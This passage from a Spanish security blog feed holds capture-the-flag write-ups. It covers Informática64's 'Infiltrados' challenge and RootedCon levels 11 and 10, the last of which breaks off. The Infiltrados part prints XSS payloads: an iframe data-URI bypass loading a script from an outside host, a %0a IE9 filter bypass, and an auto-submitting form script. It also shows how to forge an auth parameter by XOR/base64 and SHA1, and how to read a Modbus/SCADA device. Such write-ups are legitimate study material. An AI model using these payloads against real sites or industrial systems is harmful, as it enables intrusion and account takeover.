<p><span style="font-family: DejaVu Sans,sans-serif;">Esto dio bastante guerra ya que no terminaba de funcionar. Así que puse un <em>alert</em> delante y otro detrás y vi que se ejecutaba el primero pero no el segundo. Mirando con la consola de Chrome, aparecía un error diciendo que <strong><span style="color: #0000ff;"><span style="font-size: x-small;">ctl00$cph2$hfidUsuario</span></span></strong> no existía.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Obviamente, si inyectamos ese código en el que no cerramos el <em>script</em>, todo lo que hay detrás queda inservible. Por lo que una solución fue modificar el <em>script</em> para que creara de nuevo ese <em>input</em>, quedando el fichero así:</span></p>
<pre class="brush: xml; title: ; notranslate">
function newInput()

{

var inpt = document.createElement(‘input’);

inpt.type=”text”;

inpt.name=”ctl00_cph2_hfidUsuario”;

inpt.id=”ctl00$cph2$hfidUsuario”;

document.aspnetForm.appendChild(inpt);

document.aspnetForm.innerHTML+=”
”;

}

function f()

{

newInput();

document.aspnetForm.ctl00$cph2$hfidUsuario.value=’950e8c2b-3a74-4f24-a809- 40d32a9f73b6′;

document.aspnetForm.submit();

}

window.onload=f;
</pre>
<p><span style="font-family: DejaVu Sans,sans-serif;">De esta forma ya no daba error y, al menos en el mail que yo recibía, iba todo bien, pero no me dieron por válida esta solución.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Así que probé otro método que encontré para saltar el filtro de Chrome y que consistía en usar <em>iframes</em>:</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">&lt;iframe src=&#8217;data:text/html,&lt;script src=<a href="http://url/file.js">http://url/file.js</a>&gt;&lt;/script&gt;</span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Que en local iba bien pero tampoco fue una solución válida.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">A estas alturas y ya bastante desesperado, sobre todo pensando en que IE9 iba a ser mucho más difícil aún, lo que probé es a pasar el reto sin la necesidad de explotar ningún XSS, accediendo al eslabón más débil, el humano … y voilá!</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">La solución pasó por enviar en el campo <span style="color: #008080;"><strong>ctl00%24cph2%24tbUrl </strong></span><a href="http://url/">http://url</a> </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Donde esa URL era una IP mía en la que había una copia exacta de <span style="color: #0000ff;"><strong>inicioReto.aspx</strong></span>, con mi ID de usuario y añadiendo al final de la página:</span></p>
<pre class="brush: xml; title: ; notranslate">
&lt;script type=&quot;text/javascript&quot;&gt;&lt;!--mce:1--&gt;&lt;/script&gt;
</pre>
<p><span style="font-family: DejaVu Sans,sans-serif;"><strong>3.3- <span style="text-decoration: underline;">Internet Explorer v9.0.8112.16421</span></strong></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Este reto lo pasé exactamente igual que con Chrome (supongo que con Firefox también se habría pasado sin problemas) aunque como estuve realizando las pruebas por la noche, con el reto cerrado y, al mismo tiempo que preparaba la inyección para el Chrome, hice algunas pruebas y, la forma de saltarse el filtro de IE9, al igual que IE8, es añadiendo un %0a en la etiqueta del <em>script</em>, algo así:</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">&lt;sc%0aript&gt;alert(&#8216;XSS&#8217;)&lt;/script&gt;</span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Estuve probando la técnica usada por <em>Beni</em> en el reto de <strong>BrowserSchool</strong> y que  consistía en superponer una imagen exactamente igual a la que aparecía en el reto pero que al pincharla llevara a mi IP. Aquí me encontré el problema de que el filtro del IE9 elimina los puntos de las URLs así que para saltarlo use como URL el valor decimal de mi IP y al script quitarle el punto … algo así:</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">http://3232235876/filejs</span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">En este caso, al contrario que en la técnica anterior, no se podía hacer un <em>submit</em> de forma automática y había que esperar a que el administrador pinchara en la puerta. Al final, esta solución tampoco me la dieron por buena.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Y como dije antes, la pasé exactamente igual que con Chrome.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Tras pasar los 3 navegadores, podemos ver algo así:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/infiltrados4.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-713" title="infiltrados4" src="http://blog.pepelux.org/wp-content/uploads/infiltrados4.jpg" alt="" width="600" height="191" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;"><strong>4- <span style="text-decoration: underline;">Fase II</span></strong></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Para mí esta fase fue más divertida que las anteriores, ya que odio los XSS jeje y además, no requería de ninguna validación por una persona física. Esto daba más libertad para realizar pruebas.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Que fuera más divertida no quiere decir que fuera más fácil <img src='http://blog.pepelux.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Al entrar en el reto vemos esto:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/infiltrados5.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-714" title="infiltrados5" src="http://blog.pepelux.org/wp-content/uploads/infiltrados5.jpg" alt="" width="433" height="461" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">En la URL nos aparecen 2 parámetros (<em>mail</em> y <em>app_hash</em>) y al pinchar en el botón <em>Entrar</em> nos dice que el mail no corresponde con el hash.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">La URL es esta:</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;"><span style="font-size: x-small;">http://rhinfiltrados.informatica64.com/F@S%E2%82%AC_TW0_INI.aspx?mail=CAoLAAIdARUWDhcGHCYAAhIdEwkOBwANB19YWhwEEA%3d%3d&amp;app_hash=97c4655a4b1e7d07477a6c53a901bf691d9405a7 </span></span></span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;"><span style="font-size: x-small;"> </span></span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Y los parámetros:</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">mail=CAoLAAIdARUWDhcGHCYAAhIdEwkOBwANB19YWhwEEA== </span></span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">app_hash=97c4655a4b1e7d07477a6c53a901bf691d9405a7 </span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Aparentemente, tenemos que conseguir un <em>mail </em>que concuerde con un <em>app_hash </em>y, para ello, lo que vamos a hacer es analizar cada uno de los parámetros.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">El mail es claramente un base64 que si hacemos un <em>unbase64</em> vemos algo ilegible. Tras varias pruebas con los HEX obtenidos vi que aplicando un XOR con la palabra <strong>infiltrados</strong> aparecía algo que llamaba la atención:</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;"><strong>unbase64(mail) XOR &#8216;infiltrados&#8217;</strong></span></span></p>
<p><span style="color: #008000;"><span style="font-family: DejaVu Sans,sans-serif;"><span style="font-size: small;">_XZ###strad##&amp;#### </span></span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Así que probé a concatenar la palabra:</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;"><strong>unbase64(mail) XOR &#8216;infiltradosinfiltrados&#8217;</strong></span></span></p>
<p><span style="color: #008000;"><span style="font-family: DejaVu Sans,sans-serif;"><span style="font-size: small;">_XZ###strador@informat </span></span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Y con algunas pruebas más:</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;"><strong>unbase64(mail) XOR &#8216;infiltradosinfiltradosinfiltrad&#8217;</strong></span></span></p>
<p><span style="color: #008000;"><span style="font-family: DejaVu Sans,sans-serif;"><span style="font-size: small;">administrador@informatica64.net </span></span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">El sencillo <em>script</em> que usé fue (en perl, of course! <img src='http://blog.pepelux.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  ):</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/infiltrados6.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-715" title="infiltrados6" src="http://blog.pepelux.org/wp-content/uploads/infiltrados6.jpg" alt="" width="497" height="142" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; }a:link {  } --><span style="font-family: DejaVu Sans,sans-serif;">Supuestamente necesitaremos codificar nuestro mail (con el que nos registramos al reto) para poder validarnos correctamente, por lo que hacemos la operación inversa para calcular el base64 correspondiente, en este caso, al mail con el que me registré (<a href="mailto:pepeluxx@gmail.com#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed">pepeluxx@gmail.com</a>) … menos mal que no usé ninguna dirección guarrona xDD</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Bueno, pues el <em>script</em> que usé es:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/infiltrados7.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-716" title="infiltrados7" src="http://blog.pepelux.org/wp-content/uploads/infiltrados7.jpg" alt="" width="294" height="144" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Evidentemente, la palabra que se usa para hacer el XOR debe tener la misma longitud que mi mail. Y el resultado:</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;"><strong>base64(mail XOR &#8216;infiltradosinfiltr&#8217;)</strong></span></span></p>
<p><span style="color: #008000;"><span style="font-family: DejaVu Sans,sans-serif;">GrkWDAABChkkCB4IBwpHDxsf</span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">El segundo parámetro, <em>app_hash</em>, podemos ver que tiene 40 bytes por lo que una posible codificación es SHA1 o RIPEMD160. </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Preguntando el resto de participantes (el que no haya preguntado a nadie que tire la primera piedra xDD), vi que el <em>mail</em> era el mismo para todos pero el <em>app_hash</em> variaba. Cerrando sesión y volviendo a entrar siempre tenía el mismo hash. Incluso conectando desde otra IP, este no variaba. Eso me hizo pensar que tenía algo que ver con alguno de mis datos de registro.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">De manera que probé a codificar cada uno de mis datos (nick, nombre, apellidos, mail, provincia, población, incluso el ID de usuario con y sin guiones). Lo probé con SHA1 y con RIPEMD160 al mismo tiempo que usaba el base664 correspondiente a mi mail. Intenté validar usando mi mail y ese hash resultante pero no hubo éxito.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Tras esto pensé en intentar averiguar cómo estaba formado ese hash, del mismo modo que hice con el mail. Así que me creé un <em>script</em> que probaba todas las combinaciones de mis datos de registro (solos, concatenados a dos, a tres, etc) y luego encriptando con ambos algoritmos y buscando como resultado el valor que no daba la URL. Tampoco hubo suerte.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">El siguiente paso fue añadir al <em>script</em> un XOR de la palabra que le metiera como parámetro. Probé con infiltrado, informatica64, el nombre de la url, mis datos sueltos, concatenados, etc … nada</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Luego probé lo mismo pero combinando un base64 y el XOR o el base64 sólo … nada de nada.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">El caso es que enfoqué mal la forma de resolverlo y busqué obtener ese hash que tenía, cuando lo que debía haber hecho es probarlos directamente en la URL, ya que, al final, la solución era tan simple como rebuscada. El hash era:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">SHA1(<strong>mi_id</strong> concatenado con <strong>mi_mail</strong>)</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Por tanto, mi solución (diferente a la del resto de usuario, evidentemente) fue:</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;"><span style="font-size: x-small;">http://rhinfiltrados.informatica64.com/F@S%E2%82%AC_TW0_INI.aspx?mail=GrkWDAABChkkCB4IBwpHDxsf%3d&amp;app_hash=7d33c26d2bb41d320e0331363c2c036f6c7de906 </span></span></span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;"><span style="font-size: x-small;"> </span></span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;"><span style="font-size: small;">Donde:</span></span></span></p>
<p><span style="color: #008000;"><span style="font-family: DejaVu Sans,sans-serif;">mail=GrkWDAABChkkCB4IBwpHDxsf</span></span></p>
<p><span style="color: #008000;"><span style="font-family: DejaVu Sans,sans-serif;">app_hash=7d33c26d2bb41d320e0331363c2c036f6c7de906</span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;">Y al pasar el reto vemos:</span></span></p>
<p><a href="http://blog.pepelux.org/wp-content/uploads/infiltrados8.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-717" title="infiltrados8" src="http://blog.pepelux.org/wp-content/uploads/infiltrados8.jpg" alt="" width="463" height="293" /></a></p>
<p><a href="http://blog.pepelux.org/wp-content/uploads/infiltrados9.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-718" title="infiltrados9" src="http://blog.pepelux.org/wp-content/uploads/infiltrados9.jpg" alt="" width="808" height="441" /></a></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;"><strong>5- Agradecimientos</strong></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;">Como siempre, ha sido un gran placer participar en el reto. A la gente que nos gusta jugar sabemos lo difícil y laborioso que es preparar este tipo de retos. Así que, enhorabuena y muchas gracias a Informática64 y en especial a Chema Alonso y sobre todo, al equipo de gente que ha estado validando todas nuestras pruebas (sois unos cracks!! xDDD).</span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;">También mi enhorabuena a todos los participantes, en especial a Yuri, que ya podía haberse centrado en el reto de Suiza xDDD (es broma), Nadid, danigargu, Budaned y Thanar.</span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;">Y como siempre, saludos para los más grandes! Okaboy, Kachakil, RoManSoft (nunca se si escribo bien las mayúsculas del nick), Miguel Gesteiro, Int3pids (el resto), PainSec, etc etc etc</span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;">Y otro saludo también a r0i, k4dm3l, ralcaz, marcositu, ….</span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;">Hasta el próximo!</span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;"><br />
</span></span></p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.pepelux.org%2F2011%2F05%2F13%2Fsolucionario-al-reto-de-hacking-infiltrados-de-informatica64%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_linkedin" style="width:px;">
					<script type="IN/Share" data-counter="right" data-url="http://blog.pepelux.org/2011/05/13/solucionario-al-reto-de-hacking-infiltrados-de-informatica64/"></script>
				</div><div class="really_simple_share_buzz" style="width:px;">
					<a title="Post to Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" 
						data-url="http://blog.pepelux.org/2011/05/13/solucionario-al-reto-de-hacking-infiltrados-de-informatica64/"></a>
				</div><div class="really_simple_share_digg" style="width:px;">
					<script type="text/javascript" src="http://widgets.digg.com/buttons.js"></script>
					<a class="DiggThisButton DiggCompact" href="http://digg.com/submit?url=http://blog.pepelux.org/2011/05/13/solucionario-al-reto-de-hacking-infiltrados-de-informatica64/&amp;title=Solucionario al Reto de Hacking Infiltrados de Inform&Atilde;&iexcl;tica64"></a>	
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Solucionario al Reto de Hacking Infiltrados de Informática64 (vía @pepeluxx)" data-url="http://blog.pepelux.org/2011/05/13/solucionario-al-reto-de-hacking-infiltrados-de-informatica64/" 
						data-via="" ></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.pepelux.org/2011/05/13/solucionario-al-reto-de-hacking-infiltrados-de-informatica64/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>RootedCon CTF writeup nivel 11</title>
		<link>http://blog.pepelux.org/2011/05/13/rootedcon-ctf-writeup-nivel-11/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://blog.pepelux.org/2011/05/13/rootedcon-ctf-writeup-nivel-11/#comments</comments>
		<pubDate>Fri, 13 May 2011 09:28:04 +0000</pubDate>
		<dc:creator>Pepelux</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Retos hacking]]></category>
		<category><![CDATA[Rooted2011]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Hack games]]></category>
		<category><![CDATA[Retos web]]></category>
		<category><![CDATA[RootedCON]]></category>

		<guid isPermaLink="false">http://blog.pepelux.org/?p=696</guid>
		<description><![CDATA[Reto 11 Ya que obtuvimos una IP en el anterior reto, lo primero es hacer un escaneo a ver que hay detrás: Tras buscar información en Google vemos que se trata de un sistema SCADA: &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; Technical description for port 502: Port 502 is a serial communications protocol also functioning as a programmable logic controller. [...]]]></description>
			<content:encoded><![CDATA[<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;"><span style="font-size: medium;"><span style="text-decoration: underline;"><strong>Reto 11</strong></span></span></span></p>
<p><a href="http://blog.pepelux.org/wp-content/uploads/reto11_1.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-697" title="reto11_1" src="http://blog.pepelux.org/wp-content/uploads/reto11_1.jpg" alt="" width="600" height="53" /></a></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Ya que obtuvimos una IP en el anterior reto, lo primero es hacer un escaneo a ver que hay detrás:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto11_2.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-698" title="reto11_2" src="http://blog.pepelux.org/wp-content/uploads/reto11_2.jpg" alt="" width="600" height="321" /></a></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto11_3.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-699" title="reto11_3" src="http://blog.pepelux.org/wp-content/uploads/reto11_3.jpg" alt="" width="518" height="162" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; }a:link {  } --><span style="font-family: DejaVu Sans,sans-serif;">Tras buscar información en Google vemos que se trata de un sistema <em>SCADA</em>:</span></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">Technical description for port 502: </span></span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">Port 502 is a serial communications protocol also functioning as a programmable logic controller. It has become a de facto standard communications protocol in the information technology industry. Port 502 is now the most popular and most accessible way of networking industrial electronic devices. The port permits the communication between devices connected to the same network. For instance, a system that can measure humidity and temperature can be programmed to communicate the results to a computer. Port 502 is commonly used as a supervisory computer with a remote terminal unit (RTU) to supervisory control and data acquisition (SCADA) systems. </span></span></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Según el puerto que está usando, parece que funciona usando el protocolo ModBus (<a href="http://es.wikipedia.org/wiki/Modbus">http://es.wikipedia.org/wiki/Modbus</a>). Tras buscar más información en Google di con un script (publicado en una DefCon) que, usando falsos positivos, es capaz de identificar los dispositivos que hay detrás:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://code.google.com/p/modscan/">http://code.google.com/p/modscan/</a></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto11_4.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-700" title="reto11_4" src="http://blog.pepelux.org/wp-content/uploads/reto11_4.jpg" alt="" width="600" height="396" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; }a:link {  } --><span style="font-family: DejaVu Sans,sans-serif;">Esto nos indica que hay un único dispositivo cuyo SID es 20.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Tras probar, sin éxito, varias librerías de <em>perl</em> y <em>python</em> así como algunos clientes para Linux, intentando conectar con <em>ModBus</em>, al final me funcionó el <em>SimpleModBusTCP</em> (para Windows): <a href="http://www.simplymodbus.ca/download.htm">http://www.simplymodbus.ca/download.htm</a></span></p>
<p><a href="http://blog.pepelux.org/wp-content/uploads/reto11_5.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-701" title="reto11_5" src="http://blog.pepelux.org/wp-content/uploads/reto11_5.jpg" alt="" width="600" height="399" /></a></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Escribimos la IP del reto y, como <em>Slave ID</em> ponemos 20.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Tras realizar varias pruebas conseguí obtener el resultado que se ve arriba:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">&gt;&gt;&gt; 00 02 00 00 00 06 14 01 00 00 00 0A </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">&lt; <span style="color: #0000ff;">02 00 00 00 00 0D 14 01 43 4F 4E 47 52 41 54 55 4C 41 </span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;">Que si pasamos de Hex a ASCII obtenemos esto:</span></span></p>
<p><span style="color: #339966;"><span style="font-family: DejaVu Sans,sans-serif;">#����</span></span></p>
<p><span style="color: #339966;"><span style="font-family: DejaVu Sans,sans-serif;">##CONGRATULA</span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;">Tras darle varias vueltas, al final resultó que en el campo <em>No of regs</em> indicas el número de bytes que deseas recibir. Así que lo incrementé a 50 y obtuve:</span></span></p>
<p><span style="color: #339966;"><span style="font-family: DejaVu Sans,sans-serif;">#����(##CONGRATULATIONS YOU FINISHED, THE PAS</span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;">Ya estamos más cerca!</span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;">Probé con 55 pero daba error así que bajé a 53:</span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto11_6.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-702" title="reto11_6" src="http://blog.pepelux.org/wp-content/uploads/reto11_6.jpg" alt="" width="600" height="403" /></a></span></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;">Y ya se pudo leer la palabra completa:</span></span></p>
<p><span style="color: #339966;"><span style="font-family: DejaVu Sans,sans-serif;">#����8##CONGRATULATIONS YOU FINISHED, THE PASSWORD IS LIBERTY</span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;">La solución para pasar el reto es: <strong>LIBERTY</strong></span></span></p>
<p><span style="color: #000000;"><span style="font-family: DejaVu Sans,sans-serif;"><strong><br />
</strong></span></span></p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.pepelux.org%2F2011%2F05%2F13%2Frootedcon-ctf-writeup-nivel-11%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_linkedin" style="width:px;">
					<script type="IN/Share" data-counter="right" data-url="http://blog.pepelux.org/2011/05/13/rootedcon-ctf-writeup-nivel-11/"></script>
				</div><div class="really_simple_share_buzz" style="width:px;">
					<a title="Post to Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" 
						data-url="http://blog.pepelux.org/2011/05/13/rootedcon-ctf-writeup-nivel-11/"></a>
				</div><div class="really_simple_share_digg" style="width:px;">
					<script type="text/javascript" src="http://widgets.digg.com/buttons.js"></script>
					<a class="DiggThisButton DiggCompact" href="http://digg.com/submit?url=http://blog.pepelux.org/2011/05/13/rootedcon-ctf-writeup-nivel-11/&amp;title=RootedCon CTF writeup nivel 11"></a>	
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="RootedCon CTF writeup nivel 11 (vía @pepeluxx)" data-url="http://blog.pepelux.org/2011/05/13/rootedcon-ctf-writeup-nivel-11/" 
						data-via="" ></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.pepelux.org/2011/05/13/rootedcon-ctf-writeup-nivel-11/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>RootedCon CTF writeup nivel 10</title>
		<link>http://blog.pepelux.org/2011/05/06/rootedcon-ctf-writeup-nivel-10/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://blog.pepelux.org/2011/05/06/rootedcon-ctf-writeup-nivel-10/#comments</comments>
		<pubDate>Fri, 06 May 2011 16:18:00 +0000</pubDate>
		<dc:creator>Pepelux</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Retos hacking]]></category>
		<category><![CDATA[Rooted2011]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Hack games]]></category>
		<category><![CDATA[Retos web]]></category>
		<category><![CDATA[RootedCON]]></category>

		<guid isPermaLink="false">http://blog.pepelux.org/?p=677</guid>
		<description><![CDATA[Reto 10 Tras pasar el reto anterior, nos sale por pantalla lo siguiente: Para poder continuar: 172.23.0.47 Así que hacemos un escaneo a ver qué se esconde tras esa IP: Y nos encontramos con un HTTPS, así que toca conectarse a ver qué hay en esa web: Editando el código fuente nos encontramos con una [...]]]></description>
			<content:encoded><![CDATA[<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;"><span style="font-size: medium;"><span style="text-decoration: underline;"><strong>Reto 10</strong></span></span></span></p>
<p><a href="http://blog.pepelux.org/wp-content/uploads/reto10_1.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-678" title="reto10_1" src="http://blog.pepelux.org/wp-content/uploads/reto10_1.jpg" alt="" width="600" height="72" /></a></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Tras pasar el reto anterior, nos sale por pantalla lo siguiente:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><strong>Para poder continuar: </strong></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><strong>172.23.0.47</strong></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Así que hacemos un escaneo a ver qué se esconde tras esa IP:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto10_2.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-679" title="reto10_2" src="http://blog.pepelux.org/wp-content/uploads/reto10_2.jpg" alt="" width="600" height="307" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Y nos encontramos con un HTTPS, así que toca conectarse a ver qué hay en esa web:</span></p>
